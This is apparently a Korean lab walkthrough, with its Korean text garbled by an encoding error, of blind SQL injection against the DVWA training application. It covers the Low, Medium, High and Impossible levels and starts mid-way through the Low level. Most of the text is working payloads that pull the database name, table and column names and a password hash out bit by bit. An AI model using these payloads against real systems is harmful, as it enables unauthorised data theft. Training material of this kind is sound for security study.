1' and ascii(substr((select password from users limit 0,1),3,1))&32=32#
1' and ascii(substr((select password from users limit 0,1),3,1))&64=64#
4, 16, 32 -> 52 -> 4
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 52์ ํด๋นํ๋ฏ๋ก 4๊ฐ ๋๋ค.
4) 4, 32, 64 -> 100 -> d
5) 1, 2, 32, 64 -> 99 -> c
6) 1, 2, 32, 64 -> 99 -> c
7) 1, 2, 16, 32 -> 51 -> 3
8) 2, 32, 64 -> 98 -> b
9) 1, 4, 16, 32 -> 53 -> 5
10) 1, 32, 64 -> 97 -> a
11) 1, 32, 64 -> 97 -> a
12) 1, 2, 4, 16, 32 -> 55 -> 7
13) 2, 4, 16, 32 -> 54 -> 6
14) 1, 4, 16, 32 -> 53 -> 5
15) 4, 32, 64 -> 100 -> d
16) 2, 4, 16, 32 -> 54 -> 6
17) 1, 16, 32 -> 49 -> 1
18) 4, 32, 64 -> 100 -> d
19) 8, 16, 32 -> 56 -> 8
20) 1, 2, 16, 32 -> 51 -> 3
21) 2, 16, 32 -> 50 -> 2
22) 1, 2, 4, 16, 32 -> 55 -> 7
23) 4, 32, 64 -> 100 -> d
24) 1, 4, 32, 64 -> 101 -> e
25) 2, 32, 64 -> 98 -> b
26) 8, 16, 32 -> 56 -> 8
27) 8, 16, 32 -> 56 -> 8
28) 2, 16, 32 -> 50 -> 2
29) 1, 2, 32, 64 -> 99 -> c
30) 2, 4, 32, 64 -> 102 -> f
4 ~ 30 ๋ฒ์งธ์ ๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ๋ ์์ ๊ฐ๋ค.
1' and ascii(substr((select password from users limit 0,1),31,1))&1=1#
1' and ascii(substr((select password from users limit 0,1),31,1))&2=2#
1' and ascii(substr((select password from users limit 0,1),31,1))&4=4#
1' and ascii(substr((select password from users limit 0,1),31,1))&8=8#
1' and ascii(substr((select password from users limit 0,1),31,1))&16=16#
1' and ascii(substr((select password from users limit 0,1),31,1))&32=32#
1' and ascii(substr((select password from users limit 0,1),31,1))&64=64#
1, 8, 16, 32 -> 57 -> 9
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 57์ ํด๋นํ๋ฏ๋ก 9๊ฐ ๋๋ค.
1' and ascii(substr((select password from users limit 0,1),32,1))&1=1#
1' and ascii(substr((select password from users limit 0,1),32,1))&2=2#
1' and ascii(substr((select password from users limit 0,1),32,1))&4=4#
1' and ascii(substr((select password from users limit 0,1),32,1))&8=8#
1' and ascii(substr((select password from users limit 0,1),32,1))&16=16#
1' and ascii(substr((select password from users limit 0,1),32,1))&32=32#
1' and ascii(substr((select password from users limit 0,1),32,1))&64=64#
1, 8, 16, 32 -> 57 -> 9
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 57์ ํด๋นํ๋ฏ๋ก 9๊ฐ ๋๋ค.
์์ ๊ฐ ๊ธ์๋ฅผ ์กฐํฉํ๋ฉด ํด๋น Data์ ๊ฐ์ ๋ค์๊ณผ ๊ฐ๊ณ , ์ด๋ฅผ ์ด๋ฏธ ์๊ณ ์๋ ๊ฐ๊ณผ ๋น๊ต๋ณด๋ฉด ์ผ์นํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
5f4dcc3b5aa765d61d8327deb882cf99
์์ ๊ฐ์ด Blind SQL Injection์ ํตํด ๊ฐ์ ์์๋ผ ์ ์๋ค.
Security Level: Medium
Medium ๋ ๋ฒจ์ ๊ฒฝ์ฐ ์์ ๊ฐ์ด mysqli_real_escape_string ์ ์ด์ฉํ๊ณ ์์ด์ ' ๊ฐ ๋จนํ์ง ์๋๋ค. ๊ทธ๋์ LIMIT์ ์ด์ฉํ์ฌ ๋ฐ์ดํฐ๋ฅผ ์ฐพ์์ค ๊ฒ์ด๋ค. ํด๋น ๋ ๋ฒจ์์๋ DB ์ด๋ฆ, TABLE ์ด๋ฆ, COLUMN์ด๋ฆ, DATA ์ ๊ฐ ์ฒซ๊ธ์๋ง ํ์ธํ๋ ์์ผ๋ก ๋๊ธธ ๊ฒ์ด๋ค.(๊ฐ๋ฅํ์ง์ ์ฌ๋ถ๋ง ํ์ธํ๋ค๋ ๊ฒ์ด๋ค.)
์ฐ์ ์ฐธ/๊ฑฐ์ง ๊ฐ์ ๋ํ ์๋ต์ ํ์ธํด๋ณธ๋ค.
True/False
Medium ๋ ๋ฒจ์ ๊ฒฝ์ฐ ์ง์ ์ ๋ ฅ์ ์ํ ์ฐฝ์ด ์๊ธฐ ๋๋ฌธ์ ํ๋ผ๋ฏธํฐ ๋ณ์กฐ๋ฅผ ํตํด์ ์ ๋ ฅ์ ์งํํ๋ค.
์ฐธ(True)์ธ ๊ฐ: 1 and 1=1
๊ฑฐ์ง(False)์ธ ๊ฐ: 1 and 1=2
๊ณต๊ฒฉ ์ฟผ๋ฆฌ(Query)
์ฐ์ ๊ณต๊ฒฉ ์ฟผ๋ฆฌ๋ฅผ ์์ฑํ๊ณ SQL ๊ตฌ๋ฌธ์ด ๋ค์ด๊ฐ ์๋ฆฌ์ ์ํ๋ SQL ๊ตฌ๋ฌธ์ ์ฝ์ ํ๋๋ก ํ๋ค.
Medium ๋ ๋ฒจ์์๋ ์์์ ํ์ธํ๋ฏ์ด mysqli_real_escape_sting์ ์ด์ฉํ๊ณ ์๊ธฐ ๋๋ฌธ์ ' ๊ฐ ์ธ์๋์ง ์๋๋ค. ๊ทธ๋ฌ๋ฏ๋ก LIMIT์ ์ถ๊ฐ์ ์ผ๋ก ์ด์ฉํ๋ค.
ํ ๊ธ์์ ๊ฐ์ ํ์ธํ๊ธฐ ์ํ 'ํ ์ธํธ'
1+and+ascii(substr((select+__SQL__),1,1))%261=1
1+and+ascii(substr((select+__SQL__),1,1))%262=2
1+and+ascii(substr((select+__SQL__),1,1))%264=4
1+and+ascii(substr((select+__SQL__),1,1))%268=8
1+and+ascii(substr((select+__SQL__),1,1))%2616=16
1+and+ascii(substr((select+__SQL__),1,1))%2632=32
1+and+ascii(substr((select+__SQL__),1,1))%2664=64
DB์ด๋ฆ ํ์ธํ๊ธฐ
select database()
DB ์ด๋ฆ์ด dvwa๋ผ๋ ์ฌ์ค์ ์๊ณ ์๋ค. ์ฒซ ๊ธ์์ ๋ํ์ฌ d๊ฐ ๋์ค๋์ง ํ์ธํด๋ณธ๋ค.
1+and+ascii(substr((select+database()),1,1))%261=1
1+and+ascii(substr((select+database()),1,1))%262=2
1+and+ascii(substr((select+database()),1,1))%264=4
1+and+ascii(substr((select+database()),1,1))%268=8
1+and+ascii(substr((select+database()),1,1))%2616=16
1+and+ascii(substr((select+database()),1,1))%2632=32
1+and+ascii(substr((select+database()),1,1))%2664=64
4, 32, 64 -> 100 -> d
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 100์ ํด๋นํ๋ฏ๋ก d๊ฐ ๋๋ค.
TABLE ์ด๋ฆ ํ์ธํ๊ธฐ
select table_name from information_schema.tables limit 1,1
์ํ๋ ํ ์ด๋ธ์ด 2๋ฒ์งธ์ ์์นํ๊ณ , users ๋ผ๋ ์ฌ์ค์ ์๊ณ ์๋ค. ์ฒซ ๊ธ์์ ๋ํ์ฌ u๊ฐ ๋์ค๋์ง ํ์ธํด๋ณธ๋ค.
1+and+ascii(substr((select+table_name+from+information_schema.tables+limit+1,1),1,1))%261=1 1+and+ascii(substr((select+table_name+from+information_schema.tables+limit+1,1),1,1))%262=2 1+and+ascii(substr((select+table_name+from+information_schema.tables+limit+1,1),1,1))%264=4 1+and+ascii(substr((select+table_name+from+information_schema.tables+limit+1,1),1,1))%268=8 1+and+ascii(substr((select+table_name+from+information_schema.tables+limit+1,1),1,1))%2616=16 1+and+ascii(substr((select+table_name+from+information_schema.tables+limit+1,1),1,1))%2632=32 1+and+ascii(substr((select+table_name+from+information_schema.tables+limit+1,1),1,1))%2664=64
1, 4, 16, 32, 64 -> 117 -> u
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 117์ ํด๋นํ๋ฏ๋ก u๊ฐ ๋๋ค.
COLUMN ์ด๋ฆ ํ์ธํ๊ธฐ
select column_name from information_schema.columns limit 7,1
์ํ๋ ์ปฌ๋ผ์ด 8๋ฒ์งธ์ ์กด์ฌํ๊ณ , password๋ผ๋ ์ฌ์ค์ ์๊ณ ์๋ค. ์ฒซ ๊ธ์์ ๋ํ์ฌ p๊ฐ ๋์ค๋์ง ํ์ธํด๋ณธ๋ค. (8๋ฒ์งธ ์ธ ์ด์ ๋ ' ๊ฐ ๋จนํ์ง ์๊ธฐ ๋๋ฌธ์ guestbook ํ ์ด๋ธ์ ์ปฌ๋ผ๋ ์ถ๋ ฅ๋๊ณ ์๊ธฐ ๋๋ฌธ์ ํด๋น ์ปฌ๋ผ์ด ์ด 3๊ฐ์ด๊ณ , users ํ ์ด๋ธ์์ password ์ปฌ๋ผ์ด 5๋ฒ์งธ์ ์์นํ๊ธฐ ๋๋ฌธ์ด๋ค.)
1+and+ascii(substr((select+column_name+from+information_schema.columns+limit+7,1),1,1))%261=1 1+and+ascii(substr((select+column_name+from+information_schema.columns+limit+7,1),1,1))%262=2 1+and+ascii(substr((select+column_name+from+information_schema.columns+limit+7,1),1,1))%264=4 1+and+ascii(substr((select+column_name+from+information_schema.columns+limit+7,1),1,1))%268=8 1+and+ascii(substr((select+column_name+from+information_schema.columns+limit+7,1),1,1))%2616=16 1+and+ascii(substr((select+column_name+from+information_schema.columns+limit+7,1),1,1))%2632=32 1+and+ascii(substr((select+column_name+from+information_schema.columns+limit+7,1),1,1))%2664=64
16, 32, 64 -> 112 -> p
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 112์ ํด๋นํ๋ฏ๋ก p๊ฐ ๋๋ค.
DATA ํ์ธํ๊ธฐ
select password from users limit 0,1
ํ์ธํด ๋ณผ ๋ฐ์ดํฐ๊ฐ password ์ปฌ๋ผ์ ์ฒซ๋ฒ์งธ ๋ฐ์ดํฐ์ด๊ณ , ํด๋น ๊ฐ์ด 5f4dcc3b5aa765d61d8327deb882cf99์์ ์๊ณ ์๋ค. ์ฒซ ๊ธ์์ ๋ํ์ฌ 5๊ฐ ๋์ค๋์ง ํ์ธํด๋ณธ๋ค.
1+and+ascii(substr((select+password+from+users+limit+0,1),1,1))%261=1 1+and+ascii(substr((select+password+from+users+limit+0,1),1,1))%262=2 1+and+ascii(substr((select+password+from+users+limit+0,1),1,1))%264=4 1+and+ascii(substr((select+password+from+users+limit+0,1),1,1))%268=8 1+and+ascii(substr((select+password+from+users+limit+0,1),1,1))%2616=16 1+and+ascii(substr((select+password+from+users+limit+0,1),1,1))%2632=32 1+and+ascii(substr((select+password+from+users+limit+0,1),1,1))%2664=64
1, 4, 16, 32 -> 53 -> 5
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 53์ ํด๋นํ๋ฏ๋ก 5๊ฐ ๋๋ค.
Security Level: High
High ๋ ๋ฒจ์ ๊ฒฝ์ฐ ์ ๋ ฅ์ ์ํ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฌ์ฉํ๋ ๊ฒ ์ด์ธ์ ๋ฐฉ์์ Low ๋ ๋ฒจ๊ณผ ๊ฑฐ์ ๋์ผํ๋ค๊ณ ๋ณผ ์ ์๋ค.
ํด๋น ๋ ๋ฒจ์์๋ DB ์ด๋ฆ, TABLE ์ด๋ฆ, COLUMN์ด๋ฆ, DATA ์ ๊ฐ ์ฒซ๊ธ์๋ง ํ์ธํ๋ ์์ผ๋ก ๋๊ธธ ๊ฒ์ด๋ค. (๊ฐ๋ฅํ์ง์ ์ฌ๋ถ๋ง ํ์ธํ๋ค๋ ๊ฒ์ด๋ค.)
์ฐ์ ์ฐธ/๊ฑฐ์ง ๊ฐ์ ๋ํ ์๋ต์ ํ์ธํด๋ณธ๋ค.
True/False
์ด๋ค ์ ๋ ฅ์ ํ๋ , ์ ๋ ฅ์ฉ ์ ํ๋ฆฌ์ผ์ด์ ์๋ Cookie ID set! ์ด๋ผ๋ ๋์ผํ ๋ฉ์์ง๋ง ์ถ๋ ฅ๋๋ค. ํ์ง๋ง ํ๋ผ๋ฏธํฐ๋ฅผ ํ์ธํด๋ณด๋ฉด ํด๋น ์ ๋ ฅ์ด ๋ค์ด๊ฐ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ฐธ(True)์ธ ๊ฐ: 1' and 1=1 #
๊ฑฐ์ง(False)์ธ ๊ฐ: 1' and 1=2 #
DB์ด๋ฆ ํ์ธํ๊ธฐ
select database()
DB ์ด๋ฆ์ด dvwa๋ผ๋ ์ฌ์ค์ ์๊ณ ์๋ค. ์ฒซ ๊ธ์์ ๋ํ์ฌ d๊ฐ ๋์ค๋์ง ํ์ธํด๋ณธ๋ค.
1' and ascii(substr((select database()),1,1))&1=1#
1' and ascii(substr((select database()),1,1))&2=2#
1' and ascii(substr((select database()),1,1))&4=4#
1' and ascii(substr((select database()),1,1))&8=8#
1' and ascii(substr((select database()),1,1))&16=16#
1' and ascii(substr((select database()),1,1))&32=32#
1' and ascii(substr((select database()),1,1))&64=64#
4, 32, 64 -> 100 -> d
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 100์ ํด๋นํ๋ฏ๋ก d๊ฐ ๋๋ค.
TABLE ์ด๋ฆ ํ์ธํ๊ธฐ
select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1
์ํ๋ ํ ์ด๋ธ์ด 2๋ฒ์งธ์ ์์นํ๊ณ , users ๋ผ๋ ์ฌ์ค์ ์๊ณ ์๋ค. ์ฒซ ๊ธ์์ ๋ํ์ฌ u๊ฐ ๋์ค๋์ง ํ์ธํด๋ณธ๋ค.
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&1=1#
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&2=2#
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&4=4#
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&8=8#
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&16=16#
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&32=32#
1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1),1,1))&64=64#
1, 4, 16, 32, 64 -> 117 -> u
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 117์ ํด๋นํ๋ฏ๋ก u๊ฐ ๋๋ค.
COLUMN ์ด๋ฆ ํ์ธํ๊ธฐ
select column_name from information_schema.columns where table_name = 'users' limit 4,1
์ํ๋ ์ปฌ๋ผ์ด users ํ ์ด๋ธ์ 5๋ฒ์งธ์ ์์นํ๊ณ , password๋ผ๋ ์ฌ์ค์ ์๊ณ ์๋ค. ์ฒซ ๊ธ์์ ๋ํ์ฌ p๊ฐ ๋์ค๋์ง ํ์ธํด๋ณธ๋ค.
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&1=1#
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&2=2#
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&4=4#
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&8=8#
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&16=16#
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&32=32#
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 4,1),1,1))&64=64#
16, 32, 64 -> 112 -> p
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 112์ ํด๋นํ๋ฏ๋ก p๊ฐ ๋๋ค.
DATA ํ์ธํ๊ธฐ
select password from users limit 0,1
ํ์ธํด ๋ณผ ๋ฐ์ดํฐ๊ฐ password ์ปฌ๋ผ์ ์ฒซ๋ฒ์งธ ๋ฐ์ดํฐ์ด๊ณ , ํด๋น ๊ฐ์ด 5f4dcc3b5aa765d61d8327deb882cf99์์ ์๊ณ ์๋ค. ์ฒซ ๊ธ์์ ๋ํ์ฌ 5๊ฐ ๋์ค๋์ง ํ์ธํด๋ณธ๋ค.
1' and ascii(substr((select password from users limit 0,1),1,1))&1=1#
1' and ascii(substr((select password from users limit 0,1),1,1))&2=2#
1' and ascii(substr((select password from users limit 0,1),1,1))&4=4#
1' and ascii(substr((select password from users limit 0,1),1,1))&8=8#
1' and ascii(substr((select password from users limit 0,1),1,1))&16=16#
1' and ascii(substr((select password from users limit 0,1),1,1))&32=32#
1' and ascii(substr((select password from users limit 0,1),1,1))&64=64#
1, 4, 16, 32 -> 53 -> 5
๋ ผ๋ฆฌ ์ฐ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ascii ์ฝ๋ 53์ ํด๋นํ๋ฏ๋ก 5๊ฐ ๋๋ค.
Security Level: Impossible
Impossible ๋ ๋ฒจ์ ๊ฒฝ์ฐ ์ ๋ ฅ ๊ฐ์ ๋ํ์ฌ ์ซ์๋ง ์ ๋ ฅ ๊ฐ๋ฅํ๋๋ก ํ๊ธฐ ๋๋ฌธ์, SQL Injection์ด ๋ถ๊ฐ๋ฅํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์